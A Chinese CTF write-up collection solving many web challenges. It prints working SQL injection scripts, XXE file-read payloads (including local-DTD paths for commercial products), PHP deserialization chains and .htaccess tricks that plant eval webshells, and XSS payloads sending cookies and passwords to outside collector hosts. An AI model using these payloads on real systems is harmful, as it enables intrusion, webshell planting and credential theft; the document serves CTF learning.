[HarekazeCTF2019]Avatar Uploader 1
finfo_file用来判断上传图片类型,getimagesize可以判断文件像素大小,并且再进行一次类型判断。
finfo_file函数应该是直接打开文件,来获取文件类型。而getimagesize函数是通过图片尺寸数组中第三个元素是否为int型的3来判断的。
finfo_file 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以。
所以我们只要保持png头就可以,将他的相符判断部分删除掉。
注意后面不能有00 00 00 00等无用字符,能上传但没有flag,无法逃过getimagesize验证。如下图蓝色部分
[ISITDTU 2019]EasyPHP
异或绕过字符以及数量限制rce
正则识别网站:https://regex101.com/
$array=get_defined_functions();//返回所有内置定义函数 foreach($array['internal'] as $arr){ if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue; if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue; print($arr.'<br/>'); } 得到可使用得内置函数 final_string="phpinfo" allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~" for a in final_string: for i in allowed: for p in allowed: if ord(i)^ord(p)==ord(a): print("i=%s p=%s a=%s"%(i,p,a)) 得到异或字符 对所需字符进行整理后,对所需异或字符数量进行缩减 result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c] # 原始列表 result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # 精简后得 temp = [] for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): #如果精简后列表中的字符可以异或出原始列表的 if a == b == c == d: continue else: print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) if d not in temp: #如果这个原始列表字符未添加进精简后列表 temp.append(d) print(len(temp), temp) |
[SWPU2019]Web4
PDO场景下的sql注入:用16进制加mysql预处理来解决。
预处理下的安全问题
模拟预处理下
<?php $dbms='mysql'; $host='127.0.0.1:3306'; $dbName='user'; $user='root'; $pass='root'; $dsn="$dbms:host=$host;dbname=$dbName"; try { $pdo = new PDO($dsn, $user, $pass); } catch (PDOException $e) { echo $e; } $username = $_GET['username']; $sql = "select id,".$_GET['field']." from user where username = ?"; $stmt = $pdo->prepare($sql); $stmt->bindParam(1,$username); $stmt->execute(); while($row=$stmt->fetch(PDO::FETCH_ASSOC)) { var_dump($row); echo "<br>"; } |
正常请求 http://127.0.0.1/pdo/5.php?id=1&field=username
结果如下:
array(2) { ["id"]=> string(1) "1" ["username"]=> string(5) "admin" }
但是field参数可控,可以执行多条语句
http://127.0.0.1/pdo/5.php?id=1&field=username from users;select username,password
结果如下:
array(2) { ["id"]=> string(1) "1" ["username"]=> string(5) "admin" }
array(2) { ["id"]=> string(1) "4" ["username"]=> string(5) "test4" }
当设置$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);时,也可以达到报错注入效果
http://127.0.0.1/pdo/5.php?id=1&field=username from users where (1 and extractvalue(1,concat(0x7e,(select(database())),0x7e)));%23
结果:
Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: 'user' in......line 20
非模拟预处理时,同样的field字段可控,这时多语句不可执行,但是当设置$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);时,也可进行报错注入
http://127.0.0.1/pdo/5.php?id=1&field=username from users where (1 and extractvalue(1,concat(0x7e,(select(version())),0x7e)));%23
结果:
Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '5.7.26' in......line 20
这里用到的是由于pdo模拟预处理造成的堆叠注入
其payload大致格式如下:set @a=0x{0};PREPARE ctftest from @a;execute ctftest;
前面的@a即为我们所需的注入语句的16进制变量,0x后即为16进制的SQL注入payload,后面PREPARE ctftest from @a;execute ctftest;两句起到了定义并执行预处理语句的作用。
Exp:
import requests url="http://094a7801-436a-4a50-9b73-ea921af6361c.node3.buuoj.cn/index.php?r=Login/Login" flag="" def str_to_hex(s): return ''.join([hex(ord(c)).replace('0x', '') for c in s]) for i in range(1,40): print(i) for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.": sql = "select if((ascii(substr((select group_concat(flag) from flag),"+str(i)+",1))='"+str(ord(str1))+"'),sleep(6),2);" # ctf sql_hex = str_to_hex(sql)#将payload转16进制后传入 data={ "username":"1\';SET @a=0x"+str(sql_hex)+";PREPARE st FROM @a;EXECUTE st;", "password":"123" } try: result=requests.post(url,json=data,timeout=6) except requests.exceptions.ReadTimeout: print(flag) break print(flag) |
#glzjin_wants_a_girl_friend.zip
下载审计源码
解码即可
[DDCTF 2019]homebrew event loop
审计源码可知
点数可以购买钻石,5个钻石可以得到flag,但只有三个点数
但程序判断存在逻辑漏洞:改变余额再判断是否合法,也就是说在调用buy_handler时同时传入get_flag,处理队列中的顺序就是余额+n -> get_flag -> 判断不合法,这时我们已经成功把flag写进session了。
trigger_event(querystring) #调用了trigger_event
跟进查看函数定义
将要执行的函数传进队列,但是也只能执行一次,如果将自己传入队列的话,就可以调用多个函数,套娃。
调用完此函数后,return进入execute_event_loop函数。
Payload:?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
通过p神的脚本:https://www.leavesongs.com/PENETRATION/client-session-security.html对session解密得到
[BSidesCF 2019]SVGMagic
svg转png考虑xxe 文件读取
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg> |
/proc/self/pwd/代表当前路径 使用绝对路径进行读取
[EIS 2019]EzPOP
<?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); #挑出object与cachedProperties中相同键名的键值对,返回交集 #$object的键选$cachedProperties中任意一个都行,这里选择path。值就是我们的shell的url后的base64编码 } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); # $this->store这里传入class B 的对象实例 调用B类中的set函数 } public function __destruct() { if (!$this->autosave) { $this->save(); } } } class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; #file_put_contents的$filename参数来源 设置为options['prefix'] = "php://filter/write=convert.base64-decode/resource=" } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; #file_put_contents的$data参数来源options['serialize'] = 'strval' strval()函数 — 获取变量的字符串值 return $serialize($data);# 一个动态变量调用 } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); #此serialize为class B的自定义函数 if ($this->options['data_compress'] && function_exists('gzcompress')) { # 这里要传入options['data_compress'] = false 防止数据被压缩 //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; # 利用php的过滤器绕过死亡之die $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]); |
本质为file_put_contents文件上传绕过,但配合反序列化,对传值有一些影响
$this->options['data_compress'] 这些未在类中定义变量,可在序列化时写入,反序列化时传入函数。
Pop链如下
A::__destruct->save()->getForStorage()->cleanStorage()
B:: A类_save()->set()->getExpireTime()和getCacheKey()+serialize()->file_put_contents写入shell->getshell
EXP:
<?php class A{ protected $store; protected $key; protected $expire; public function __construct() { $this->key = 'test.php'; $this->store = new B(); } } class B{ public $options; function __construct() { $this->options['prefix'] = "php://filter/write=convert.base64-decode/resource="; $this->options['expire'] = 11; $this->options['data_compress'] = false; $this->options['serialize'] = 'strval'; } } $a = new A(); $object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg"); $path = '111'; $a->cache = array($path=>$object); $a->complete = '2'; echo urlencode(serialize($a)); ?> |
?data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A8%3A%22test.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A38%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D
test.php POST 传参cmd=system('cat /flag');
[RoarCTF 2019]Simple Upload
文件上传条件竞争
发完包爆破文件名即可
[GXYCTF2019]BabysqliV3.0
<?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token;
function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; } $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; } function upload($file){ global $sandbox; global $ext; if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (′▽`〃)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } } function __toString(){ global $sandbox; global $ext; // return $sandbox.$this->Filename.$ext; return $this->Filename; } function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); } } if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } } ?> |
Payload
<?php class Uploader{ public $Filename; public $cmd; public $token; } $upload = new Uploader(); $upload->cmd = "highlight_file('/var/www/html/flag.php');"; $upload->Filename = 'test'; $upload->token = 'GXY063c630ae7ab41c6fd121cb4851620a3'; $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($upload); $phar->addFromString("exp.txt", "test"); $phar->stopBuffering(); |
题目过程简单 不再累述主要测试下tostring魔术方法被echo / file_get_contents($uploader) 两者触发的区别
两者均能触发toString魔术方法但echo能将 return 的内容打印出来
toSring魔术方法:当对象被当成字符串处理时就会触发
Path通常为字符串
[CSAWQual 2019]Web_Unagi
由example文件可知,为文件上传xxe
<?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> <intro>&xxe;</intro> </user> </users> |
当然也可以通过报错带出数据
<?xml version='1.0' encoding="utf-16"?> <!DOCTYPE message[ <!ELEMENT message ANY > <!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///yemoli/%file;'>"> %eval; %error; '> %NUMBER; ]> |
通过进制转换绕过waf
iconv -f utf8 -t utf-16 2.xml>1.xml
[N1CTF 2018]eating_cms
登录 测试无注入弱密码 测试存在register.php,注册登录
Page参数存在任意文件读取,伪协议读取
/user.php?page=php://filter/convert.base64-encode/resource=user
/user.php?page=php://filter/convert.base64-encode/resource=function #主要代码页面
有过滤利用parse_url解析漏洞,当url种出现下面这种情况的url,会解析错误,返回false
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg 即可绕过
顺着提示一路走,最后读取upllloadddd.php
//user.php?page=php://filter/convert.base64-encode/resource=upllloadddd.php
无waf命令执行,/user.php?page=m4aaannngggeee上传抓包修改,/被过滤 使用cd ..进行回溯
[Black Watch 入群题]Web
登录测试无效,发现接口文件,数据json格式且过滤了常见的布尔注入符号
使用异或注入
Payload:
import time import requests url = "http://e2817767-0a27-4254-83ec-717ed5ff32b7.node4.buuoj.cn/backend/content_detail.php?id=2^" name = "" i=0 while True : head = 32 tail = 127 i += 1 while(head<tail): mid = head + tail >> 1 #payload = "(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" %(i,mid) #payload = "(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d)" %(i,mid) payload = "(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))>%d)" %(i,mid)
r = requests.get(url+payload) time.sleep(1) #print(url+payload) #print(r.json()) if "Yunen" in str(r.json()): head = mid + 1 else: tail = mid if head!=32 : name += chr(head) print(name) else: break |
第二组账户密码即可登录得到flag
也可以用if语句进行注入
payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,3,2)" %(i,mid)
payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d,3,2)" %(i,mid)
payload = "if(ascii(substr((select(group_concat(username))from(admin)),%d,1))>%d,3,2)" %(i,mid)
[CISCN2019 华东南赛区]Web4
猜测为文件读取或者ssrf,读取index.php无果,c查看中间件猜测为python web 读取/app/app.py
Session伪造即可获取flag。SECRET_KEY的获取方式app.config['SECRET_KEY'] = str(random.random()*233)
random.seed(uuid.getnode())设置随机数种子,而python random生成的数是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一样的
uuid.getnode(),是网卡mac地址的十进制数,读取/sys/class/net/eth0/address
使用flask-session-cookie-manager-master伪造,替换session 访问/flag即可
需要使用特定格式 用双引号
[GoogleCTF2019 Quals]Bnv
Submit提交后抓包可以看到,接口以及json数据 json数据传输可能会存在XXE
XXE本地DTD文件
XXE一般都是考如何获取到XXE所包含文件的数据,即如何把数据泄露出来。常用的方法有:引入外部服务器或者外部dtd文件,来实现OOB带外信息传送,如果服务器和你的VPS之间存在防火墙,那数据往往无法带出。
这里通过查找本地dtd文件进行强制执行,并在其中重新定义一些参数实体引用(如同sql注入一般通过闭合对参数实体进行重写)
使用sip-app_1_0.dtd为例,其主要内容如下
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)> |
我们的payload按照如下构造:
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> |
其中
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> 为强制执行本地DTD文件
<!ENTITY % condition 'aaa)>
。。。
<!ELEMENT aa (bb'>
这里是相当于做了一个闭合,可以按sql注入那种方式去理解这里的xxe,因为
<!ELEMENT pattern (%condition;)>
对condition实体进行了引用,所以会把condition内容替换进来
而我们在强制执行本地DTD文件以后,是可以重新定义该文件中的一些参数实体引用的,当我们重新定义了该参数实体时,就可以构造
<?xml version="1.0"?> <!DOCTYPE message[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>"> %eval; %error; '> %local_dtd; ]> |
如何查找本地dtd文件?
通过枚举来查找文件和目录应该是最简单的方法了,以下是一些成功应用此技巧的例子:
Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
感谢来自Positive Technologies的@Mike_n1分享的这条始终存在的Windows DTD文件路径。
Cisco WebEx
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
Citrix XenMobile Server
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
多平台 IBM WebSphere 应用
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;
[SUCTF 2018]MultiSQL
题目名提示为sql注入,猜测用户名处存在二次注入
单引号被过滤,union,select也被过滤,fuzz测试后发现过滤了union,select ,&,|,由于用户名这里被单引号包裹,被过滤之后无法逃逸执行payload语句。好在用户信息存在另一个注入点,为数字型,过滤了select然后存在堆叠注入的可以使用预处理注入,PDO多语句执行。
尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句
select ‘<?php eval($_POST[_]);?>’ into outfile ‘/var/www/html/favicon/shell.php’;
使用脚本编程十进制:
str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';" len_str=len(str) for i in range(0,len_str): if i == 0: print('char(%s'%ord(str[i]),end="") else: print(',%s'%ord(str[i]),end="") print(')') |
/user/user.php?id=6;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
set 即对变量赋值
写马执行即可
[FireshellCTF2020]Caas
- #include ''预处理编译报错
- 文件包含
根据报错发现是C语言编译器,输入:
#include <stdio.h> int main() { printf("Hello, World! \n"); return 0; } |
编译后下载了一个文件:
开始以为和这个文件有关,但是后续尝试中发现可以利用编译报错
猜测flag应该是以文件形式存在服务器中,尝试使用#include ''预处理命令,引入文件/etc/passwd,构造代码:#include "/etc/passwd" 得到回显
#include "/flag" 得到最终flag
[2020 新春红包题]1
与[EIS 2019]EzPOP 基本一致但做了文件名后缀限制可用user.ini,pht等后缀,或者通过路径穿越绕过
POC:
<?php class A{ protected $store; protected $key; protected $expire;
public $cache =[]; public $complete = true;
public function __construct () { $this->store = new B(); $this->key = '/../a1.php/.';
$this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg']; }
} class B{ public $options = [ 'serialize' => 'serialize', 'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/', ]; } $a = new A(); echo urlencode(serialize($a)); ?> |
不知道是不是这段代码的问题,用之前的POC 修改后缀名为pht,不行文件内容会空白。
[CISCN2019 华东北赛区]Web2
XSS盗取管理员cookies 、sql注入
通过buu自带xss平台,复制代码并将(new Image()).src换成window.location.href 确保自动触发js代码
到投稿界面,不断 fuzz,然后发现有”waf“,里面的所有东西和外面的括号都得转个码,用 HTML Markup 转码。
HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html
exp:
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=DKcxeq&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();" output = "" for c in in_str: output += "&#" + str(ord(c)) print("<svg><script>eval("" + output + "")</script>") |
使用MD5爆破验证码
import hashlib def func(md5_val): for x in range(999999, 100000000): md5_value=hashlib.md5(str(x)).hexdigest() if md5_value[:6]==md5_val: return str(x) if __name__ == '__main__': print func('d9f173') |
域名要换成web. 这里自己访问恶意页面xss平台可以接收到,但题目的机器人始终无法访问带出数据
然后带着管理员session访问admin.php,有个sql注入,手工注入即可
-2 union select 1,2,3#
-2 union select 1,database(),user()#
-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#
-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#
-2 union select 1,2,group_concat(flagg) from ciscn.flag#
[SUCTF 2018]annonymous
<?php $MY = create_function("","die(`cat flag.php`);"); //创建一个$MY的匿名函数,函数的作用是输出flag //匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999) $hash = (openssl_random_pseudo_bytes(32)); //生成一个随机数 eval("function SUCTF_$hash(){" ."global \$MY;"."\$MY();". "}"); //创建$hash会在eval函数中。与SUCTF拼接。形成一个新的函数名 要想拿到flag就只有调用SUCTF_XXXX随机数的函数名。或者直接调用$MY if(isset($_GET['func_name'])){ $_GET["func_name"](); bin2hex die(); // bin2hex()函数把ASCII字符的字符串转换为十六进制值 } show_source(__FILE__); |
create_function()函数在创建之后会生成一个函数名为:%00lambda_%d
%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了
exp:
import requests while True: r=requests.get('http://c68aef86-5a48-4e86-903d-716f296757b5.node4.buuoj.cn:81//?func_name=%00lambda_1') if 'flag' in r.text: print(r.text) break print('Testing.......') |
[GWCTF 2019]mypassword
根据提示查看login.js,发现有记录密码的功能
if (document.cookie && document.cookie != '') { var cookies = document.cookie.split('; '); var cookie = {}; for (var i = 0; i < cookies.length; i++) { var arr = cookies[i].split('='); var key = arr[0]; cookie[key] = arr[1]; } if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){ document.getElementsByName("username")[0].value = cookie['user']; document.getElementsByName("password")[0].value = cookie['psw']; } } |
还有一个反馈页面,喝和反馈列表,查看源码,得到反馈部分代码
if(is_array($feedback)){ echo "<script>alert('反馈不合法');</script>"; return false; } $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie']; foreach ($blacklist as $val) { while(true){ if(stripos($feedback,$val) !== false){ $feedback = str_ireplace($val,"",$feedback); }else{ break; } } } |
那就是打XSS,让机器人查看
但上面的login.js有记录密码的功能可被利用
这个过滤是把关键词替换成了空格,并且一个关键字只检查一遍,所以我们可以构造形如incookieput,这样结果就是input,也就是双写绕过即可
<incookieput type="text" name="username"> <incookieput type="password" name="password"> <scrcookieipt scookierc="./js/login.js"></scrcookieipt> <scrcookieipt> var psw = docucookiement.getcookieElementsByName("password")[0].value; docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1js2xau1/?psw="+psw; </scrcookieipt> |
使用http://http.requestbin.buuoj.cn/ 接收flag create一个即可
这里由于题目的机器人问题 始终无法接收到flag
[XNUCA2019Qualifier]EasyPHP
|
一个写文件的功能且只能写文件名为[a-z.]* 的文件,且文件内容存在黑名单过滤,使得无法直接写入include的fl3g.php页面,并且结尾被加上了一行Just one chance,这就导致我们无法直接写入.htaccess里面auto_prepend_file等php_value。最后一行导致的.htaccess报错的问题可以通过# 注释掉来解决。
预期解:
翻一下php的官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALL即PHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path.
因此只要控制include_path便可以使这里include进来的fl3g.php可以是任意目录下的某个文件。也就是说只有有一个同名文件内容可控即可,通常可以想到通过错误日志进行写入。
查找所有php log相关的功能可以看到error_log这一选项
error_log 可以将 PHP 运行报错的记录写到指定文件中,通过在配置代码中写了一处不存在的fl3g.php触发报错。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将 payload 作为一个路径去访问时就会因为找不到fl3g.php而报错,并将报错记录在指定的错误文件中。
思路:利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。
但error_log的内容默认是htmlentities(将字符转换为 HTML 转义字符)的,无法插入类似<?php phpinfo();?>的payload。可通过设置编码来绕过限制从而getshell.
Payload:
php_value include_path "+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-" php_value error_log /tmp/fl3g.php # \ /index.php?filename=.htaccess&content=php_value%20include_path%20%22%2BADw%3Fphp%20eval(%2BACQAXw-POST%2BAFs-whoami%2BAF0)%2BADs%3F%2BAD4-%22%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C
php_value include_path "/tmp" php_fl\ ag zend.multibyte 1 php_value zend.script_encoding "UTF-7" # \ /index.php?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0Aphp_fl%5C%0Aag%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C
|
非预期1:
php_value auto_prepend_fi\le ".htaccess"#<?php @eval($_GET['cmd']); ?>\
在.htaccess中#表示注释符号的意思,所以我们可以将一句话放在#后面,再让PHP文件包含.htaccess,此外再使用符号"\"换行的功能绕过对关键词file的检测,再让我们每次访问时均生成这样一个.htaccess
非预期2:
设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php
正则回朔绕过正则匹配
《PHP利用PCRE回溯次数限制绕过某些安全限制》 这篇文章中提到了一个正则回朔绕过 preg_match 检测的方法。即 PHP 的配置选项 pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match 会返回false,我们可以通过这一点来绕过 preg_match 等函数正则匹配的检测。
由于 .htaccess 可以设定 PHP 的配置选项,那我们便可以将 pcre.backtrack_limit 设为 0 ,从而利用这个漏洞:
php_value pcre.backtrack_limit 0php_value pcre.jit 0# \ |
题目代码中的 preg_match 使用正则匹配限制filename只能是 a-z 和点号 . ,那我们便可以通过写入 .htaccess 设置回溯次数(pcre.backtrack_limit)为 0,从而绕过这里的正则回溯,直接将我们的Webshell写入fl3g.php。
php_value pcre.backtrack_limit 0 php_value pcre.jit 0 url编码后的payload: /index.php?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0Aphp_value%20pcre.jit%200%0A%23%20%5C |
然后访问以下 url 将 Webshell 写入fl3g.php:
/index.php?filename=fl3g.php&content=<?php phpinfo();?>
[网鼎杯 2020 半决赛]AliceWebsite
由提供的附件源码可知,存在任意文件读取漏洞
/index.php?action=../../../../../flag
[极客大挑战 2020]Roamphp1-Welcome
Get访问为空白页面,POST访问即可出现源码
POST传参 roam1[]=1&roam2[]=2 用到了sha1函数的漏洞,不能处理数组
[CISCN2019 总决赛 Day1 Web4]Laravel1
传参反序列化。
Exp:https://xz.aliyun.com/t/5816#toc-3
<?php namespace Symfony\Component\Cache{ final class CacheItem{ } } namespace Symfony\Component\Cache\Adapter{ use Symfony\Component\Cache\CacheItem; class PhpArrayAdapter{ private $file; public function __construct() { $this->file = '/flag'; } } class TagAwareAdapter{ private $deferred = []; private $pool; public function __construct() { $this->deferred = array('flight' => new CacheItem()); $this->pool = new PhpArrayAdapter(); } } } namespace { use Symfony\Component\Cache\Adapter\TagAwareAdapter; $obj = new TagAwareAdapter(); echo urlencode(serialize($obj)); } |
还有一种exp:
<?php namespace Symfony\Component\Cache; class CacheItem { protected $innerItem = 'cat /flag'; } namespace Symfony\Component\Cache\Adapter; class ProxyAdapter { private $setInnerItem = 'system'; } class TagAwareAdapter { public $deferred = []; public function __construct() { $this->pool = new ProxyAdapter(); } } $a = new TagAwareAdapter(); $a -> deferred = array('a' => new \Symfony\Component\Cache\CacheItem); echo urlencode(serialize($a)); |
原文章链接不可访问了,有空自己理一遍
[RootersCTF2019]babyWeb
直接告诉了过滤的字符
order by测试字段数,发现当order by 2时返回正常order by 3返回没有这个字段,确定为两个字段,一个为uniqueid另一个应该就是flag
